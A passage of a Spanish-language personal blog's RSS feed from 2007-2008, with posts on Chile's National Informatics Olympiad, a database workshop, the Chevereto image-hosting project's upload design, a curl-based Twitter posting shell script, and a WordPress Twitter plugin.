		<description><![CDATA[La Olimpiada Nacional en Informática (ONI) es el concurso de informática para los estudiantes chilenos que se encuentren cursando enseñanza media durante el presente año o recién egresados. Los concursantes compiten individualmente, e intentan obtener la máxima puntuación resolviendo un conjunto de problemas informáticos durante las dos sesiones del concurso (online y presencial). Los problemas [...]]]></description>
			<content:encoded><![CDATA[<p align="justify"><img src="http://blog.zerial.org/wp-content/uploads/2008/05/oni.jpg" alt="oni" /> La Olimpiada Nacional en Informática (ONI) es el concurso de informática para los estudiantes chilenos que se encuentren cursando enseñanza media durante el presente año o recién egresados. Los concursantes compiten individualmente, e intentan obtener la máxima puntuación resolviendo un conjunto de problemas informáticos durante las dos sesiones del concurso (online y presencial). Los problemas son algorítmicos y deben resolverse programando en un ordenador personal.</p>
<p align="justify"> La ONI se organiza en Chile bajo los auspicios de la Ilustre Municipalidad de Buin.</p>
<p align="justify">El principal objetivo de este proyecto es contribuir a la educación de los jóvenes incorporando la informática como una pieza fundamental en su desarrollo, y además reconocer a aquellos que demuestren talento en el área para orientarlos y apoyarlos en su futura formación.</p>
<p>La ONI se realizará el día 21 de Junio de 14:00 a 18:00 horas en su primera fase en línea y el día 19 de Julio en su fase presencial (y final). Esta última se llevará a cabo en la comuna de Buin. Para la fase presencial, aquellos participantes provenientes de regiones podrán alojarse en Buin con un día de anterioridad.</p>
<p>Los temas a tratar en la ONI son los siguientes:</p>
<p>Estructura de Datos<br />
Algoritmos de Ordenación<br />
Algoritmos de Búsqueda<br />
Grafos<br />
Programación Dinámica<br />
Mínimo Coste<br />
Backtracking</p>
<p align="justify">&nbsp;</p>
<p>Más info en <a href="http://www.onibuin.cl/" target="_blank"><span style="font-size: 10pt"><strong>onibuin</strong></span></a></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fproyectos%2Folimpiadas-nacionales-de-informatica-oni%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/proyectos/olimpiadas-nacionales-de-informatica-oni/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/proyectos/olimpiadas-nacionales-de-informatica-oni/"  data-text="Olimpiadas Nacionales de Informatica (ONI)" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/proyectos/olimpiadas-nacionales-de-informatica-oni/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Taller/charla en el CDSL</title>
		<link>http://blog.zerial.org/proyectos/tallercharla-en-el-cdsl/</link>
		<comments>http://blog.zerial.org/proyectos/tallercharla-en-el-cdsl/#comments</comments>
		<pubDate>Fri, 04 Apr 2008 03:19:53 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Mis cosas]]></category>
		<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[actividades]]></category>
		<category><![CDATA[eventos]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Programación]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/2008/04/03/tallercharla-en-el-cdsl/</guid>
		<description><![CDATA[Se me ha invitado a dictar un taller o charla en el Centro de Difusion del Software Libre (CDSL) sobre el modelamiento de bases de datos utilizando herramientas libres. La fecha, que aun no esta decidida, sera mas o menos a principios de mayo y sera dictada en dos sesiones, una primera parte de Introduccion [...]]]></description>
			<content:encoded><![CDATA[<p>Se me ha invitado a dictar un taller o charla en el <a href="http://cdsl.cl">Centro de Difusion del Software Libre (CDSL)</a> sobre el modelamiento de bases de datos utilizando herramientas libres. La fecha, que aun no esta decidida, sera mas o menos a principios de mayo y sera dictada en dos sesiones, una primera parte de Introduccion conceptual a SQL y una segunda parte donde se enseñara a modelar una base de datos.<br />
El temario, la fecha y la hora aun no esta definido, pero a medida que pasen los dias ire actualizando la informacion que pueden encontrar en la siguiente direccion:</p>
<p><a href="http://wiki.cdsl.cl/doku.php/proyectos:intromodelamientodb">Wiki de tallers en el CDSL</a></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fproyectos%2Ftallercharla-en-el-cdsl%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/proyectos/tallercharla-en-el-cdsl/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/proyectos/tallercharla-en-el-cdsl/"  data-text="Taller/charla en el CDSL" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/proyectos/tallercharla-en-el-cdsl/feed/</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>Chevereto</title>
		<link>http://blog.zerial.org/proyectos/chevereto/</link>
		<comments>http://blog.zerial.org/proyectos/chevereto/#comments</comments>
		<pubDate>Thu, 14 Feb 2008 13:19:18 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Interes general]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Proyectos]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/2008/02/14/chevereto/</guid>
		<description><![CDATA[Si alguna vez pensaste en tener un hosting de imágenes corriendo en tu servidor con un script open source que te permite modificarlo como te dé la gana y compartir con personas de todo el mundo esta experiencia… Piensas igual que nosotros. Con esta frase se presenta el sitio en desarrollo de Chevereto , un [...]]]></description>
			<content:encoded><![CDATA[<blockquote><p>Si alguna vez  pensaste en tener un hosting de imágenes corriendo en tu servidor con un script open source que te permite modificarlo como te dé la gana y compartir con personas de todo el mundo esta experiencia… Piensas  igual que nosotros.</p></blockquote>
<p>Con esta frase se presenta el <a href="http://chevereto.com">sitio en desarrollo de Chevereto</a> , un futuro sistema <em>libre</em> para el alojamiento de imagenes.</p>
<p style="text-align: center"><img src="http://blog.zerial.org/wp-content/uploads/2008/02/chevereto.gif" alt="chevereto’s logo" border="0" /></p>
<p>Ya deben conocer <a href="http://es.wikipedia.org/wiki/ImageShack">Imageshack</a> (<a href="http://imageshack.us">http://imageshack.us</a>) o <a href="http://godlike.cl">Godlike</a>, el primero un sitio popular a nivel mundial de almacenamiento de imagenes y el segundo un sitio Chileno que a menos de un año de vida se esta popularizando en distintos paises.<br />
<a href="http://wiki.chevereto.com">Chevereto es un sistema</a> que hace un par de meses se esta desarrollando pero que tambien hace mucho tiempo esta estancado y que ahora retomare con mucho mas animo. Espero poder tener lista una beta del sistema en menos de un mes, junto a <a href="http://rodolfo.godlike.cl">Rodolfo Berrios</a> (autor intelectual del asunto) y <a href="http://p0ns.org">Pons</a> (un desarrollador desmotivao&#8217;).</p>
<p><span id="more-51"></span></p>
<p>El sistema contara con varias caracteristicas de gran utilidad, un borrador del ToDo list es el siguiente:</p>
<blockquote><p> Esta lista contiene en detalle que hace chevereto actualmente en GODLIKE y/o GODLIKE(lite). Esta lista tendra su foco en las comprobaciones de imagen en cuanto a razonamiento mas no en codigo. Esta lista esta en <strong>secuencia</strong>.</p>
<p><strong>Equema Basico</strong><br />
Toma el archivo (local o remoto) y lo sube a una carpeta temporal &gt; Realiza comprobaciones &gt; Si se sube se mueve de lugar sino es eliminado.</p>
<p>- Setea el Time Zone<br />
- Crea un conditional get (etag)<br />
- Ve si se puede establecer conexion con SQL (caso negativo no permite usar el script).<br />
<strong>Formulario</strong><br />
- Si el formulario es enviado y esta vacio: Notificacion.<br />
- Si tiene doble info (se sube local y remota): Notificacion<br />
- Comprueba si se esta subiendo una URL que tenga &#8220;godlike.cl&#8221; en el apartado del dominio (salvo para las imagenes en /apoyo).<br />
<strong>UPLOADING</strong><br />
- Establece un <strong>filtro</strong> para la <em>subida local</em> (memoria):<br />
&#8211; Comprueba la extension, no por mime por que tiene la facultad de corrergir extensiones mal puestas.<br />
&#8211; Comprueba si el archivo no supera el maximo permitido.<br />
- Establece un <strong>filtro</strong> para la subida remota (cURL):<br />
&#8211; Conecta y trata de crear una imagen desde la string (asi comprueba) &#8212; Aqui deberia comprobar inmediatamente el tamaño:</p>
<pre class="wiki">$filesize = curl_getinfo($uh,CURLINFO_CONTENT_LENGTH_DOWNLOAD);</pre>
<p>Pero esta linea no existe. Es una sugerencia <img src='http://blog.zerial.org/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p>- Pasados estos filtros simples, procede a subir en un directorio temporal.<br />
&#8211; Si es local simplemente copia de memoria a carpeta<br />
&#8211; Si es remota baja con cURL.<br />
- Procede a crear el MD5 y comprobar en la dB.<br />
- Toma informacion del archivo con statinfo.<br />
&#8211; Comprueba mime tipe (de imagenes soportadas, sin importar la extension).<br />
&#8211; Toma mime, alto, ancho y peso. Con mime ve si es imagen, con alto y ancho ve si no esta corrupta y con peso denuevo comprueba si no se pasa. Aca seria bueno agregar una lectura de imagesize para determinar colores y cosas x que solo nos dicen si esta corrupta o si alguien le puso .jpg a un .php o algo asi.<br />
- Si el mime es de los tipos soportados y la extension no calza, se la cambia.<br />
- Vamos a la dB y leemos el contador de maximo de archivos por carpeta. Si supera el limite se añade +1 al contador de carpeta y se sube en la carpeta que sige. Esto es para no saturar una sola carpeta con demasiados archivos y pajear el ftp cuando sndamos sapeando.<br />
- Limpiamos el nombre: Conservamos solo alfanumericos con minusculas. &#8211; Si el nombre es muy largo cortamos de atras para adelante para mantener la identidad.<br />
&#8211; Vemos si existe imagen con ese nombre, de ser asi&#8230; Cortamos un poco, denuevo de atras para adelante y añadimos valores aleatorios.<br />
&#8211; Volvemos a comprobar&#8230; Hasta que sale de ahi.<br />
- Se hace el resimensionamiento si existe. Verifica si no sobrepasa los limites en px (16 y 1280).. Esto deberia hacerlo en el apartado del formulario, pero como el script sube igual a la temporal y le pide al usuario que arregle este error se entiende.<br />
- Revisa si hay solamente numeros en este input, de no ser asi sube a una temporal donde el usuario luego puede arreglar su error.<br />
- Deberia verificar si el tamaño redimensionado no pasa el maximo. Sugerencia.<br />
- Hace el thumb.<br />
- Finalmente, deja de trabajar y mueve a la carpeta definitiva. Añade los contadores de imagen para estadisticas y demas informacion.<br />
- Si pasa algo mal elimina la imagen del directorio temporal de trabajo.</p>
<p>Basicamente eso en lo que es subir imagenes. Notese que la creacion de thums y la de redimensioamiento de imagenes conserva un respeto por las transparencias y la calidad del archivo (usando GD). Aquellas consideraciones las pueden encontrar en el index.php</p></blockquote>
<p>A todas estas cosas que ya estan implementadas en <a href="http://img.godlike.cl">Godlike</a>, se le sumara el registro de usuarios y personalizacion y administracion subidas por cada usuario. Se corregiran muchas cosas, entre ellas el rendimiento y la carga en el servidor donde este funcionando el sistema. Actualmente esta programado casi de manera secuencial. La idea del nuevo desarrollo de este sistema es que sea completamente orientado a objetos, ayudando a entender y ordenar el codigo y el rendimiento.</p>
<p>Este sistema sera completamente OpenSource y esperamos poder lanzar la primera beta lo antes posible.</p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fproyectos%2Fchevereto%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/proyectos/chevereto/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/proyectos/chevereto/"  data-text="Chevereto" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/proyectos/chevereto/feed/</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
		<item>
		<title>Twitsh &#8211; twitea fácilmente!</title>
		<link>http://blog.zerial.org/linux/twitsh-twitea-facilmente/</link>
		<comments>http://blog.zerial.org/linux/twitsh-twitea-facilmente/#comments</comments>
		<pubDate>Mon, 24 Dec 2007 21:04:07 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Documentacion]]></category>
		<category><![CDATA[GNU/Linux]]></category>
		<category><![CDATA[Programación]]></category>
		<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[twitter]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/2007/12/24/twitsh-twitea-facilmente/</guid>
		<description><![CDATA[Como usuario de fluxbox y, para facilitarme el uso de twitter (a pesar de usar twitbin), cree un script que si bien no es solamente para fluxbox, es muy util con fluxboxo con algún otro gestor de ventanas que nos permita configurar hotkeys. Si bien no podre con este script ver los updates de mis [...]]]></description>
			<content:encoded><![CDATA[<p>Como usuario de <a href="http://fluxbox.org">fluxbox</a> y, para facilitarme el uso de twitter (a pesar de usar twitbin), cree un script que si bien no es solamente para fluxbox, es muy util con fluxboxo con algún otro gestor de ventanas que nos permita configurar hotkeys.</p>
<p>Si bien no podre con este script ver los updates de mis <em>contactos</em>, si podre actualizar mis acciones de una manera sencilla sin tener que abrir el navegador web para poder actualizar desde la web o desde twitbin y sin usar ningún cliente para twitter. Es un script sencillo que, configurandolo bien, podra ser muy util.</p>
<p>Para dejarlo funcionando de lujo en fluxbox, la instalacion y configuración paso a paso.<br />
Descargar el script desde <a href="http://blog.zerial.org/files/twitsh-0.2.tar.gz">acá</a> o copiar el código desde:</p>
<blockquote><p> #!/bin/sh</p>
<p>CONFIG_FILE=$HOME/.twitshrc</p>
<p>function sendUpdate<br />
{<br />
USERNAME=`grep -v &#8220;^#&#8221; $CONFIG_FILE |grep username |cut -f2 -d &#8221; &#8220;`<br />
PASSWORD=`grep -v &#8220;^#&#8221; $CONFIG_FILE |grep password |cut -f2 -d &#8221; &#8220;`<br />
MY_UPDATE=`zenity &#8211;entry &#8211;text=&#8221;What are you doing now? (140 chars. max)&#8221;`<br />
until [ `echo $MY_UPDATE|wc -c` -lt 140 ]; do<br />
zenity &#8211;error &#8211;text=&#8221;Your update has more than 140 characters. Please edit this.&#8221;<br />
MY_UPDATE=`zenity &#8211;entry &#8211;text=&#8221;What are you doing now? (140 chars. max)&#8221; &#8211;entry-text=&#8221;$MY_UPDATE&#8221;`<br />
done<br />
curl -u &#8220;$USERNAME:$PASSWORD&#8221; -d &#8220;status=$MY_UPDATE&#8221; &#8220;http://twitter.com/statuses/update.json&#8221; |zenity &#8211;progress &#8211;text=&#8221;Sending &#8230;&#8221; &#8211;auto-close auto-kill<br />
}</p>
<p>if [ -f $CONFIG_FILE ];<br />
then<br />
sendUpdate<br />
else<br />
echo &#8220;ERROR: Couldn&#8217;t open config file ($CONFIG_FILE)&#8221;<br />
fi</p></blockquote>
<p><span id="more-42"></span></p>
<p>Como pueden ver en el código, es necesario tener instalado <em>zenity</em> y <em>curl</em>, que nos permitiran interactuar con el script y enviar los datos a twitter.<br />
Es necesario que creemos un fichero de configuracion en el home del usuario que hara uso de este script. Este script se encuentra en el paquete que descargaron, deben copiarlo a su home como $HOME/.twitshrc</p>
<blockquote><p>cp twitshrc $HOME/.twitshrc</p></blockquote>
<p>En resumen, los pasos a seguir son:</p>
<blockquote><p>[zerial@blackwater ~]$ wget http://blog.zerial.org/files/twitsh-0.2.tar.gz<br />
&#8211;17:56:13&#8211;  http://blog.zerial.org/files/twitsh-0.2.tar.gz<br />
=&gt; `twitsh-0.2.tar.gz&#8217;<br />
Resolviendo blog.zerial.org&#8230; 200.29.4.70<br />
Connecting to blog.zerial.org|200.29.4.70|:80&#8230; conectado.<br />
Petición HTTP enviada, esperando respuesta&#8230; 200 OK<br />
Longitud: 675 [application/x-gzip]</p>
<p>100%[============================================================================&gt;] 675           &#8211;.&#8211;K/s</p>
<p>17:56:13 (40.89 MB/s) &#8211; `twitsh-0.2.tar.gz&#8217; saved [675/675]</p>
<p>[zerial@blackwater ~]$ tar zxvf twitsh-0.2.tar.gz<br />
twitsh/<br />
twitsh/twitshrc<br />
twitsh/twitter.sh<br />
[zerial@blackwater ~]$ cd twitsh<br />
[zerial@blackwater ~]$ cd twitsh<br />
[zerial@blackwater twitsh]$ ls<br />
twitshrc  twitter.sh<br />
[zerial@blackwater twitsh]$ cp twitshrc $HOME/.twitshrc<br />
[zerial@blackwater twitsh]$ su<br />
Contraseña:<br />
[root@blackwater twitsh]# cp twitter.sh /usr/bin/twitsh<br />
[root@blackwater twitsh]# chmod +x /usr/bin/twitsh</p></blockquote>
<p>Configuramos el fichero $HOME/.twitshrc<br />
Con eso dejamos instalado y listo para usar el script.<br />
Ahora, para hacerlo más simpático junto a fluxbox, editamos el fichero &#8220;keys&#8221; de flubox, que esta en el directorio .fluxbox de tu home.<br />
Editamos con nuestro editor preferido;</p>
<blockquote><p>vim $HOME/.fluxbox/keys</p></blockquote>
<p>Vamos al final y agregamos la linea:</p>
<blockquote><p>Mod1 s :ExecCommand /usr/bin/twitsh</p></blockquote>
<p>Mod1 corresponde a la tecla ALT, la letra que lo sige (la <em>s</em>)  nos indica que al presionar ALT+S ejecutará dicho comando. Eso lo pueden modificar a su gusto.</p>
<p>Teniendo todo esto hecho, basta con presionar ALT+S y aparecera el dialogo para poder escribir en twitter.</p>
<p style="text-align: center"><img src="http://blog.zerial.org/wp-content/uploads/2007/12/twitsh_01.jpg" alt="twitsh_01.jpg" /></p>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Flinux%2Ftwitsh-twitea-facilmente%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/linux/twitsh-twitea-facilmente/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/linux/twitsh-twitea-facilmente/"  data-text="Twitsh &#8211; twitea fácilmente!" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/linux/twitsh-twitea-facilmente/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>TwitteRead (Plugin para WP)</title>
		<link>http://blog.zerial.org/proyectos/twitteread-plugin-para-wp/</link>
		<comments>http://blog.zerial.org/proyectos/twitteread-plugin-para-wp/#comments</comments>
		<pubDate>Mon, 17 Dec 2007 04:53:43 +0000</pubDate>
		<dc:creator>Zerial</dc:creator>
				<category><![CDATA[Programación]]></category>
		<category><![CDATA[Proyectos]]></category>
		<category><![CDATA[twitter]]></category>
		<category><![CDATA[wordpress]]></category>

		<guid isPermaLink="false">http://blog.zerial.org/2007/12/17/twitteread-plugin-para-wp/</guid>
		<description><![CDATA[Estaba aburrido y pense en poner mis updates de twitter en el sidebar del blog, no queria buscar y/o usar algun plugin o addon ya escrito por otra persona, por esto, decidi crear mi propio plugin. Lo llamé TwitteRead y funciona perfectamente, lo pueden ver al final de la barra de navegacion que esta al [...]]]></description>
			<content:encoded><![CDATA[<p>Estaba aburrido y pense en poner mis updates de twitter en el sidebar del blog, no queria buscar y/o usar algun plugin o addon ya escrito por otra persona, por esto, decidi crear mi propio plugin.</p>
<p>Lo llamé TwitteRead y funciona perfectamente, lo pueden ver al final de la <em>barra de navegacion</em> que esta al costado derecho del blog.<br />
El plugin es bastante basico pero se le pueden ir agregando mas funcionalidades y quizas generar un algoritmo más óptimo para leer los últimos updates de cada usuario, pero para este caso (el mio) basta y sobra con lo que hace. Si en algun momento comienza a fallar entonces reconsideraré la opcion de volver a escribirlo. Si alguien quiere probarlo lo puede descargar desde <a href="http://blog.zerial.org/files/twitteread-0.5.tar.gz">acá</a>.<br />
Para instalarlo y usarlo es muy sencillo, vayan al directorio de los plugins de wordpress (wp-content/plugins) y desempaqueten el fichero descargado:</p>
<blockquote><p>$ tar zxvf twitteread-0.5.tar.gz<br />
twitteread/<br />
twitteread/twitteread.php</p></blockquote>
<p>Luego deben ir al panel de administracion de WP y activen el plugin, una vez activado, deben editar el <em>sidebar</em> del Theme que esten usando y, en la posicion que ustedes quieran, llaman a la funcion que devolvera o mostrara los post en twitter.</p>
<blockquote><p>&lt;? getTwitterFrom( <em>usuario</em>, <em>cantidad_de_updates</em> ); ?&gt;</p></blockquote>
<div id="bottomcontainerBox" style="border:1px solid #808080;">
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<iframe src="http://www.facebook.com/plugins/like.php?href=http%3A%2F%2Fblog.zerial.org%2Fproyectos%2Ftwitteread-plugin-para-wp%2F&amp;layout=button_count&amp;show_faces=false&amp;width=85&amp;action=like&amp;font=verdana&amp;colorscheme=light&amp;height=21" scrolling="no" frameborder="0" style="border:none; overflow:hidden; width=85px; height:21px;" allowTransparency="true"></iframe></div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<g:plusone size="medium" href="http://blog.zerial.org/proyectos/twitteread-plugin-para-wp/"></g:plusone>
			</div>
			<div style="float:left; width:85px;padding-right:10px; margin:4px 4px 4px 4px;height:30px;">
			<a href="http://twitter.com/share" class="twitter-share-button" data-url="http://blog.zerial.org/proyectos/twitteread-plugin-para-wp/"  data-text="TwitteRead (Plugin para WP)" data-count="horizontal" data-via="Zerial">Tweet</a>
			</div>			
			</div><div style="clear:both"></div><div style="padding-bottom:4px;"></div>]]></content:encoded>
			<wfw:commentRss>http://blog.zerial.org/proyectos/twitteread-plugin-para-wp/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
	</channel>
</rss>

